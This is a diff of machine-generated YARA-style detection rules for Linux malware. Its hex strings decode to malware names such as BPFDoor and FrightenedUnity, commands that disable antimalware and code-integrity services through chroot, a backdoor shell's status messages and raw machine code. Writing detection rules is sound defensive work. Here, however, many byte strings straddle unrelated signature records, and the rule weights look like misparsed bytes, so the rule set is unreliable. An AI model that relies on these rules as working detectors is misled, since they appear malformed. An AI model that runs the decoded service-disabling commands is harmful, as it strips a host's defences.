0a 00 21 " @@ -276035,7 +292176,7 @@ rule _InfrastructureShared_20952{ ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*25647+(#a_65_2 & 1)*24934+(#a_68_3 & 1)*8250+(#a_33_4 & 1)*26967+(#a_73_5 & 1)*24421+(#a_69_6 & 1)*26975+(#a_00_7 & 1)*31628+(#a_41_9 & 1)*8448) >=5 } -rule _InfrastructureShared_20953{ +rule _InfrastructureShared_22224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 0f 00 21 " @@ -276057,7 +292198,7 @@ rule _InfrastructureShared_20953{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25857+(#a_6d_2 & 1)*24436+(#a_74_3 & 1)*24933+(#a_89_6 & 1)*0+(#a_45_7 & 1)*18687+(#a_01_8 & 1)*-16640+(#a_52_9 & 1)*19265+(#a_44_10 & 1)*0+(#a_90_11 & 1)*-30463+(#a_75_12 & 1)*26956+(#a_69_13 & 1)*18106+(#a_72_14 & 1)*28527) >=10 } -rule _InfrastructureShared_20954{ +rule _InfrastructureShared_22225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -276069,7 +292210,7 @@ rule _InfrastructureShared_20954{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-1+(#a_85_2 & 1)*18687) >=3 } -rule _InfrastructureShared_20955{ +rule _InfrastructureShared_22226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -276083,7 +292224,7 @@ rule _InfrastructureShared_20955{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*27951+(#a_89_2 & 1)*17805+(#a_42_3 & 1)*19745+(#a_00_4 & 1)*9364) >=5 } -rule _InfrastructureShared_20956{ +rule _InfrastructureShared_22227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -276097,7 +292238,7 @@ rule _InfrastructureShared_20956{ ((#a_4c_0 & 1)*21539+(#a_1f_1 & 1)*-17848+(#a_86_2 & 1)*4198+(#a_ba_3 & 1)*18468+(#a_72_4 & 1)*14930) >=5 } -rule _InfrastructureShared_20957{ +rule _InfrastructureShared_22228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 09 00 21 " @@ -276114,7 +292255,7 @@ rule _InfrastructureShared_20957{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*28483+(#a_90_2 & 1)*27506+(#a_42_3 & 1)*7168+(#a_24_4 & 1)*12+(#a_00_6 & 1)*-28528+(#a_73_7 & 1)*14849+(#a_73_8 & 1)*27746) >=3 } -rule _InfrastructureShared_20958{ +rule _InfrastructureShared_22229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 08 00 21 " @@ -276130,7 +292271,7 @@ rule _InfrastructureShared_20958{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28488+(#a_3d_2 & 1)*19529+(#a_21_4 & 1)*25088+(#a_10_5 & 1)*35+(#a_30_6 & 1)*4163+(#a_00_7 & 1)*144) >=2 } -rule _InfrastructureShared_20959{ +rule _InfrastructureShared_22230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,10 00 10 00 13 00 21 " @@ -276142,23 +292283,42 @@ rule _InfrastructureShared_20959{ $a_80_4 = {63 72 65 61 74 65 20 74 6d 70 66 69 6c 65 } //create tmpfile 1 $a_80_5 = {53 68 75 74 74 69 6e 67 20 64 6f 77 6e } //Shutting down 1 $a_80_6 = {75 73 61 67 65 3a 20 20 25 73 20 5b 2d 6e 5d 20 5b 2d 70 5d 20 5b 2d 73 5d 20 5b 2d 69 5d 20 5b 2d 6d 20 3c 6d 61 69 6c 20 63 6f 6d 6d 61 6e 64 3e 5d } //usage: %s [-n] [-p] [-s] [-i] [-m ] 1 - $a_ad_7 = {00 02 00 02 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 72 69 67 68 74 65 6e 65 64 55 6e 69 74 79 2e 41 00 01 00 40 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 70 72 6f 63 65 73 73 69 6e 76 65 73 74 69 67 61 74 6f 72 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 3a 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 } //0 - $a_69_8 = {20 2d 73 20 63 6f 64 65 69 6e 74 65 67 72 69 74 79 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 38 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 61 6e 74 69 6d 61 6c 77 61 72 65 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 37 01 63 68 72 6f 6f 74 20 2f 68 } //28271 - $a_2d_9 = {73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 63 65 72 74 73 69 6e 75 73 65 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 37 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 76 73 61 74 6c 73 73 63 61 6e 20 2d 64 20 44 69 73 61 62 6c 65 64 02 00 18 01 68 6f 73 74 3d 77 77 77 2e 6f 6e 6e } //29551 - $a_6e_10 = {69 6d 65 2e 6f 6e 65 02 00 2c 01 2f 74 6d 70 2f 2e 63 6f 64 65 2f 63 6f 6e 66 69 67 2e 6a 73 6f 6e 2f 75 73 72 2f 73 68 61 72 65 2f 6d 69 6d 65 2f 67 6c 6f 62 73 32 00 00 8c b8 01 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 42 69 74 58 6f 2e 42 21 4d 54 42 00 01 00 10 00 49 d3 4f a7 a2 bc 4d fa 40 cf a6 32 31 } //29304 - $a_01_11 = {00 18 00 2f 64 65 76 2f 73 68 6d 2f 4d 33 54 34 4d 30 52 50 48 31 4e 33 2e 6b 6f 01 00 0a 00 52 49 50 20 63 6c 69 65 6e 74 01 00 37 00 ba 01 00 00 00 48 89 d9 be 20 00 00 00 48 89 e7 48 89 e5 e8 1d f1 ff ff 48 89 df e8 f5 f1 ff ff 66 8b 44 24 2e 48 8d 54 24 20 66 33 45 00 48 83 c5 02 48 39 d5 75 f3 01 00 72 00 8b 0d 0a 84 21 00 45 31 c9 45 31 c0 31 ff ba 01 00 00 00 be de 4e 41 00 c7 44 24 10 00 02 00 00 48 89 5c 24 08 48 c7 04 24 00 00 00 00 e8 1e d5 ff ff 83 f8 ff 41 89 c5 41 } //23017 - $a_42_12 = {00 02 00 00 48 89 ea 89 c6 48 89 df e8 e1 d0 ff ff ff c0 75 26 bf 01 00 00 00 e8 e3 d2 ff ff b9 00 02 00 00 48 89 ea 44 89 ee 48 89 df e8 c0 d0 ff ff ff c0 01 00 9c 03 0f be 15 b5 9e 21 00 8b 35 53 6f 21 00 48 89 e7 e8 90 02 08 48 85 c0 48 89 05 55 6f 21 00 78 90 02 02 48 8b 3c 24 e8 90 02 08 85 c0 7e 90 02 02 48 83 3d 3e 6f 21 00 00 74 90 02 02 } //-14711 - $a_6f_13 = {00 00 74 90 02 02 83 3d 3c 6f 21 00 00 75 90 02 02 80 3d 6b 9e 21 00 01 7e 90 02 02 8d 43 02 80 fb 0f bd 00 04 00 00 0f 46 d8 eb 90 02 02 80 fb 02 80 d3 ff 48 81 fd 57 15 01 00 77 90 02 02 0f b6 } //15747 - $a_e0_14 = {c9 64 99 c1 f9 04 f7 f9 48 98 48 01 c5 eb 90 02 02 bf 01 90 00 00 00 8c bc 01 00 04 00 04 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 61 6d 44 75 73 74 2e 41 21 64 68 61 00 04 00 04 01 4d 41 44 21 04 00 5f 01 50 40 69 7d 42 7e 37 30 6c 48 5a 5b 7a 2b 63 20 43 79 5f 6a 4b 44 46 45 4a 7b 3f 75 5d 33 23 3c 73 3b 6f 2f 6b 47 54 3a 3e 70 2c 38 55 68 57 2e 51 77 5e 58 5c 49 65 67 4d 59 29 } //17611 - $a_36_15 = {3d 71 35 4f 60 24 39 7c 2a 26 34 4e 78 2d 64 32 22 56 62 66 72 76 27 25 28 6e 41 53 6d 52 21 04 00 5f 01 5d 36 3c 71 2a 75 27 2d 69 63 7b 31 74 4b } //24908 - $a_24_16 = {79 7d 37 23 6b 4e 73 2c 65 33 53 48 20 6e 35 4a 34 41 56 42 70 21 5c 49 38 51 29 54 2f 3a 60 77 4f 55 76 30 22 59 57 68 46 61 5f 26 39 6d 40 4d 62 3b 28 7e 43 2e 58 67 32 6f 7a 5b 72 78 25 } //31812 y}7#kNs,e3SH n5J4AVBp!\I8Q)T/:`wOUv0"YWhFa_&9m@Mb;(~C.Xg2oz[rx% - $a_3e_17 = {3d 45 6a 50 2b 5e 5a 64 04 00 18 01 34 65 6e 4c 34 6e 29 61 4c 30 34 5b 3c 6e 41 52 4a 4a 39 2f 6e 24 6a 44 04 00 1b 01 29 39 39 5c 70 34 34 3c 5c 39 4c 61 44 41 4c 2f 44 4a 5e 34 61 5c 3c 2f 5c 29 5c 04 00 20 01 61 6e 79 47 61 } //18258 - $a_61_18 = {22 79 61 6e 79 22 61 79 6e 22 41 61 6e 41 22 50 2b 23 50 2b 23 50 04 00 0c 01 59 54 3a 5f 59 74 2a 3c 32 42 3a 5f 04 00 18 01 62 54 4e 3c 32 37 3a 53 7b 56 7b 69 57 74 5b 79 57 72 51 6f 32 74 50 24 01 00 09 01 2f 73 62 69 6e 2f 73 68 73 01 00 08 01 54 48 45 5f 50 41 53 53 01 00 10 01 5b 57 65 6c 63 6f 6d 65 20 4d 61 73 74 65 72 5d 01 00 09 01 73 63 5f 65 6e 63 } //18297 + $a_8b_7 = {00 04 00 04 00 0c 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 50 46 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 26 01 5b 2b 5d 20 50 61 63 6b 65 74 20 53 75 63 63 65 73 73 66 75 6c 79 20 53 65 6e 64 69 6e 67 20 25 64 20 53 69 7a 65 01 00 12 01 5b 2b 5d 20 43 68 61 6c 6c 65 6e 67 69 6e 67 20 25 73 01 00 1e 01 5b 2d 5d 20 43 61 6e 27 74 20 77 72 69 74 65 20 61 75 74 68 20 63 68 61 6c 6c 65 6e 67 } //0 + $a_5d_9 = {57 61 69 74 20 34 73 2e 01 00 17 01 5b 2d 5d 20 53 70 61 77 6e 20 73 68 65 6c 6c 20 66 61 69 6c 65 64 2e 01 00 1a 01 5b 2b 5d 20 } //23297 + $a_63_10 = {73 73 66 75 6c 79 20 43 6f 6e 6e 65 63 74 65 64 21 01 00 23 01 5b 2b 5d 20 6e 65 77 20 53 53 4c 20 77 69 74 68 20 63 72 65 61 74 65 64 20 43 54 58 20 66 61 69 6c 65 64 01 00 13 01 5b 2b 5d 20 53 70 61 77 6e 20 73 68 65 6c 6c 20 6f 6b 2e 01 00 1b 01 5b 2b 5d 20 52 65 73 65 72 76 65 20 63 6f 6e 6e } //30035 + $a_69_11 = {6e 20 6d 6f 64 65 01 00 18 01 5b 2b 5d 20 4d 6f 6e 69 74 6f 72 20 70 61 63 6b 65 74 20 73 65 6e 64 2e 01 00 16 01 5b 2b 5d 20 70 6f 73 73 69 62 6c 65 20 77 69 6e 64 6f 77 73 20 3f 01 00 1d 01 3a 68 3a 64 3a 6c 3a 73 3a 62 3a 74 3a 44 3a 67 3a 48 3a 66 3a 77 69 75 6e 6f 6d 63 76 00 00 8c ad 01 00 02 00 02 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //25445 + $a_69_12 = {75 78 2f 46 72 69 67 68 74 65 6e 65 64 55 6e 69 74 79 2e 41 00 01 00 40 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 70 72 6f 63 65 73 73 69 6e 76 65 73 74 69 67 61 74 6f } //14958 + $a_64_13 = {44 69 73 61 62 6c 65 64 01 00 3a 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 } //8306 + $a_65_14 = {6e 74 65 67 72 69 74 79 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 38 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 61 6e 74 69 6d 61 6c 77 61 72 65 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 37 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 } //28515 + $a_65_15 = {64 20 63 6f 6e 66 69 67 20 2d 73 20 63 65 72 74 73 69 6e 75 73 65 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 37 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 76 73 61 74 6c 73 73 63 61 6e 20 2d 64 20 44 69 73 61 62 6c 65 64 02 00 18 01 68 6f 73 74 3d 77 77 77 2e 6f 6e 6e 78 72 75 6e 74 69 } //31329 + $a_6f_16 = {65 02 00 2c 01 2f 74 6d 70 2f 2e 63 6f 64 65 2f 63 6f 6e 66 69 67 2e 6a 73 6f 6e 2f 75 73 72 2f 73 68 61 72 65 2f 6d 69 6d 65 2f 67 6c 6f } //25965 ɥⰀ⼁浴⽰挮摯⽥潣普杩樮潳⽮獵⽲桳牡⽥業敭术潬 + $a_00_17 = {00 8c b8 01 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 42 69 74 58 6f 2e 42 21 4d 54 42 00 01 00 10 00 49 d3 } //29538 + $a_bc_18 = {fa 40 cf a6 32 31 e9 59 a1 01 00 18 00 2f 64 65 76 2f 73 68 6d 2f 4d 33 54 34 4d 30 52 50 48 31 4e 33 2e 6b 6f 01 00 0a 00 52 49 50 20 63 6c 69 65 6e 74 01 00 37 00 ba 01 00 00 00 48 89 d9 be 20 00 00 00 48 89 e7 48 89 e5 e8 1d f1 ff ff 48 89 df e8 f5 f1 ff ff 66 8b 44 24 2e 48 8d 54 24 20 66 33 45 00 48 83 c5 02 48 39 d5 75 f3 01 00 72 00 8b 0d 0a 84 21 00 45 31 c9 45 31 c0 31 ff ba 01 00 00 00 be de 4e 41 00 c7 44 24 10 00 02 00 00 48 89 5c 24 08 48 c7 04 24 00 00 00 00 e8 1e d5 } //-22705 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*21569+(#a_01_2 & 1)*28530+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_ad_7 & 1)*0+(#a_69_8 & 1)*28271+(#a_2d_9 & 1)*29551+(#a_6e_10 & 1)*29304+(#a_01_11 & 1)*23017+(#a_42_12 & 1)*-14711+(#a_6f_13 & 1)*15747+(#a_e0_14 & 1)*17611+(#a_36_15 & 1)*24908+(#a_24_16 & 1)*31812+(#a_3e_17 & 1)*18258+(#a_61_18 & 1)*18297) >=16 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*21569+(#a_01_2 & 1)*28530+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_8b_7 & 1)*0+(#a_5d_9 & 1)*23297+(#a_63_10 & 1)*30035+(#a_69_11 & 1)*25445+(#a_69_12 & 1)*14958+(#a_64_13 & 1)*8306+(#a_65_14 & 1)*28515+(#a_65_15 & 1)*31329+(#a_6f_16 & 1)*25965+(#a_00_17 & 1)*29538+(#a_bc_18 & 1)*-22705) >=16 } -rule _InfrastructureShared_20960{ +rule _InfrastructureShared_22231{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0c 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 50 46 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 26 01 5b 2b 5d 20 50 61 63 6b 65 74 20 53 75 63 63 65 73 73 66 75 6c 79 20 53 65 6e 64 69 6e 67 20 25 64 20 53 69 7a 65 01 00 12 01 } //16675 + $a_20_1 = {68 61 6c 6c 65 6e 67 69 6e 67 20 25 73 01 00 1e 01 5b 2d 5d 20 43 61 6e 27 74 20 77 72 69 74 65 20 61 75 74 68 20 63 68 61 6c 6c 65 6e 67 65 01 00 0c 01 5b 2b 5d 20 57 61 69 74 20 34 73 2e 01 00 17 01 5b 2d 5d 20 53 70 61 77 6e 20 73 68 65 6c 6c 20 66 61 69 6c 65 64 2e 01 00 1a } //11099 + $a_5d_2 = {53 75 63 63 65 73 73 66 75 6c 79 20 43 6f 6e 6e 65 63 74 65 64 21 01 00 23 01 5b 2b 5d 20 6e 65 77 20 53 53 4c 20 77 69 74 68 20 } //23297 + $a_61_3 = {65 64 20 43 54 58 20 66 61 69 6c 65 64 01 00 13 01 5b 2b 5d 20 53 70 61 77 6e 20 73 68 65 6c 6c 20 6f 6b 2e 01 00 1b 01 5b 2b 5d 20 52 65 73 65 72 76 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 6d 6f 64 65 01 00 18 01 5b 2b 5d 20 4d 6f 6e 69 74 6f 72 20 70 61 63 6b 65 74 20 73 65 6e 64 2e 01 00 16 01 5b 2b } //29283 + $a_6f_4 = {73 69 62 6c 65 20 77 69 6e 64 6f 77 73 20 3f 01 00 1d 01 3a 68 3a 64 3a 6c 3a 73 3a 62 3a 74 3a 44 3a 67 3a 48 3a 66 3a 77 69 75 6e 6f 6d 63 76 00 00 8c ad 01 00 02 00 02 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 72 69 67 68 74 65 6e 65 64 55 6e 69 74 79 2e 41 00 01 00 40 01 63 68 72 6f 6f 74 20 2f 68 6f 73 } //8285 + $a_73_5 = {61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 70 72 6f 63 65 73 73 69 6e 76 65 73 74 69 67 61 74 6f 72 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 3a 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 63 6f 64 65 69 6e 74 65 67 72 69 74 79 20 2d 64 20 } //11636 + $a_61_6 = {6c 65 64 01 00 38 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 61 6e 74 69 6d 61 6c 77 61 72 65 20 2d 64 20 44 69 73 61 62 6c 65 64 01 00 37 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 63 65 72 74 73 69 6e 75 73 65 20 2d 64 20 44 } //26948 + $a_62_7 = {65 64 01 00 37 01 63 68 72 6f 6f 74 20 2f 68 6f 73 74 2d 66 73 20 61 7a 73 65 63 64 20 63 6f 6e 66 69 67 20 2d 73 20 76 73 61 74 6c 73 73 63 61 6e 20 2d 64 20 44 69 73 61 62 6c 65 64 02 00 18 01 68 6f 73 74 3d 77 77 77 2e 6f 6e 6e 78 72 75 6e 74 69 6d 65 2e 6f 6e 65 02 00 2c 01 2f 74 6d 70 } //29545 + $a_6f_8 = {65 2f 63 6f 6e 66 69 67 2e 6a 73 6f 6e 2f 75 73 72 2f 73 68 61 72 65 2f 6d 69 6d 65 2f 67 6c 6f 62 73 32 00 00 8c b8 01 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 42 69 74 58 6f 2e 42 21 4d 54 42 00 01 00 10 00 49 d3 4f a7 a2 bc 4d fa 40 cf a6 32 31 e9 59 } //11823 + $a_76_10 = {73 68 6d 2f 4d 33 54 34 4d 30 52 50 48 31 4e 33 2e 6b 6f 01 00 0a 00 52 49 50 20 63 6c 69 65 6e 74 01 00 37 00 ba 01 00 00 00 48 89 d9 be 20 00 00 00 48 89 e7 48 89 e5 e8 1d f1 ff ff 48 89 df e8 f5 f1 ff ff 66 8b 44 24 2e 48 8d 54 24 20 66 33 45 00 48 83 c5 02 48 39 d5 75 f3 01 00 72 00 8b 0d 0a 84 21 } //25647 + $a_c9_11 = {31 c0 31 ff ba 01 00 00 00 be de 4e 41 00 c7 44 24 10 00 02 00 00 48 89 5c 24 08 48 c7 04 24 00 00 00 00 e8 1e d5 ff ff 83 f8 ff 41 89 c5 41 89 c6 } //17664 + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*11099+(#a_5d_2 & 1)*23297+(#a_61_3 & 1)*29283+(#a_6f_4 & 1)*8285+(#a_73_5 & 1)*11636+(#a_61_6 & 1)*26948+(#a_62_7 & 1)*29545+(#a_6f_8 & 1)*11823+(#a_76_10 & 1)*25647+(#a_c9_11 & 1)*17664) >=4 + +} +rule _InfrastructureShared_22232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 07 00 21 " @@ -276173,7 +292333,7 @@ rule _InfrastructureShared_20960{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28530+(#a_74_2 & 1)*28520+(#a_2d_3 & 1)*29551+(#a_00_5 & 1)*1+(#a_4c_6 & 1)*8993) >=2 } -rule _InfrastructureShared_20961{ +rule _InfrastructureShared_22233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 06 00 21 " @@ -276187,7 +292347,7 @@ rule _InfrastructureShared_20961{ ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*8272+(#a_08_3 & 1)*23689+(#a_d0_4 & 1)*-5921+(#a_61_5 & 1)*12152) >=4 } -rule _InfrastructureShared_20962{ +rule _InfrastructureShared_22234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0c 00 21 " @@ -276207,7 +292367,7 @@ rule _InfrastructureShared_20962{ ((#a_46_0 & 1)*16675+(#a_3e_1 & 1)*21575+(#a_2a_2 & 1)*15414+(#a_44_3 & 1)*9326+(#a_24_4 & 1)*29746+(#a_6e_5 & 1)*14958+(#a_51_6 & 1)*20817+(#a_61_8 & 1)*28524+(#a_01_9 & 1)*29541+(#a_64_10 & 1)*24941+(#a_75_11 & 1)*28522) >=4 } -rule _InfrastructureShared_20963{ +rule _InfrastructureShared_22235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 0e 00 21 " @@ -276230,7 +292390,7 @@ rule _InfrastructureShared_20963{ ((#a_46_0 & 1)*16675+(#a_51_1 & 1)*20817+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_c7_12 & 1)*0+(#a_5f_13 & 1)*28532) >=3 } -rule _InfrastructureShared_20964{ +rule _InfrastructureShared_22236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,1a 00 1a 00 1a 00 21 " @@ -276256,14 +292416,14 @@ rule _InfrastructureShared_20964{ $a_20_19 = {11 01 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0e 90 90 90 90 01 00 28 01 50 e8 a9 02 00 00 eb 0e 5a 58 } //21642 $a_8a_20 = {24 20 e9 11 01 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0e 90 90 90 90 01 00 28 01 50 e8 e0 02 00 00 eb 0e 5a 58 59 97 60 8a 54 24 20 e9 11 01 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0e 90 90 90 90 01 00 28 01 e8 33 02 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0f 90 90 90 90 } //-26791 $a_46_21 = {07 47 01 db 75 07 } //-30064 - $a_ee_22 = {11 00 00 8c cd 01 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 54 21 4d 54 42 00 02 00 77 01 37 5f 6a 63 6c 61 73 73 50 31 30 5f 6a 6d 65 74 68 6f 64 49 44 7a 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 30 00 5f 5f 73 74 72 63 61 74 5f 63 68 6b 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 31 00 4a 61 76 61 5f 6b 5f 77 7a 5f } //7819 - $a_6b_24 = {77 7a 5f 6b 32 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6f 31 00 5f 5a 4e 37 5f 4a 4e 49 45 6e 76 32 30 43 61 6c 6c 53 01 00 96 01 e5 93 fd 8a 6f c6 fe 8a 6f c6 da 8a 6f c6 3d 8b 6f c6 7c 14 b7 a7 78 0c de e5 3e 8b 6f c6 3f 8b 6f c6 d4 d6 b4 c6 32 91 45 0b 16 5b 0b 71 00 fe 5d c2 3f 8b 6f c6 } //24950 - $a_e1_25 = {e6 60 94 40 8b 6f c6 39 8b 6f c6 ce 2e fc 37 fa 8a 6f c6 80 8b 6f c6 b0 0b b8 0c c6 ff 28 fd 40 8b 6f } //-28082 + $a_ee_22 = {11 00 00 8c cd 01 00 04 00 04 00 0e 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 61 69 6c 2e 42 21 64 68 61 00 04 00 49 03 43 3a 2f 53 65 72 90 01 01 65 72 2f 4d 61 69 6c 2f 41 70 70 5f 44 61 74 61 2f 54 65 90 01 01 70 2f 47 2f 31 32 2f 73 72 63 2f 6d 61 69 6c 67 90 01 01 72 62 61 67 65 2f 6d 61 69 6c 73 65 72 76 65 72 2e 67 6f 00 00 90 00 04 00 3a 03 } //7819 + $a_53_23 = {72 90 01 01 65 72 5c 4d 61 69 6c 5c 41 70 70 5f 44 61 74 61 5c 54 65 90 01 01 70 5c 47 5c 31 32 5c 73 72 63 5c 6d 61 69 6c 67 61 90 01 01 62 61 67 65 00 90 00 01 00 15 03 6d 61 69 6e 2e 6c 6f 67 52 65 71 90 01 01 65 73 74 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 6f 70 65 6e 4c } //14915 + $a_67_24 = {69 } //400 i condition: - ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*11777+(#a_73_2 & 1)*29486+(#a_2e_3 & 1)*3072+(#a_6a_4 & 1)*27745+(#a_72_5 & 1)*25197+(#a_2f_6 & 1)*6400+(#a_62_7 & 1)*400+(#a_63_8 & 1)*28025+(#a_6f_9 & 1)*11896+(#a_2f_11 & 1)*4864+(#a_62_12 & 1)*400+(#a_2e_13 & 1)*24936+(#a_45_14 & 1)*22608+(#a_00_15 & 1)*628+(#a_e8_16 & 1)*20481+(#a_00_17 & 1)*-14104+(#a_48_18 & 1)*20819+(#a_20_19 & 1)*21642+(#a_8a_20 & 1)*-26791+(#a_46_21 & 1)*-30064+(#a_ee_22 & 1)*7819+(#a_6b_24 & 1)*24950+(#a_e1_25 & 1)*-28082) >=26 + ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*11777+(#a_73_2 & 1)*29486+(#a_2e_3 & 1)*3072+(#a_6a_4 & 1)*27745+(#a_72_5 & 1)*25197+(#a_2f_6 & 1)*6400+(#a_62_7 & 1)*400+(#a_63_8 & 1)*28025+(#a_6f_9 & 1)*11896+(#a_2f_11 & 1)*4864+(#a_62_12 & 1)*400+(#a_2e_13 & 1)*24936+(#a_45_14 & 1)*22608+(#a_00_15 & 1)*628+(#a_e8_16 & 1)*20481+(#a_00_17 & 1)*-14104+(#a_48_18 & 1)*20819+(#a_20_19 & 1)*21642+(#a_8a_20 & 1)*-26791+(#a_46_21 & 1)*-30064+(#a_ee_22 & 1)*7819+(#a_53_23 & 1)*14915+(#a_67_24 & 1)*400) >=26 } -rule _InfrastructureShared_20965{ +rule _InfrastructureShared_22237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 0f 00 21 " @@ -276286,7 +292446,7 @@ rule _InfrastructureShared_20965{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28787+(#a_00_2 & 1)*144+(#a_6f_3 & 1)*12035+(#a_74_5 & 1)*25135+(#a_31_6 & 1)*28265+(#a_52_7 & 1)*297+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1) >=2 } -rule _InfrastructureShared_20966{ +rule _InfrastructureShared_22238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 0a 00 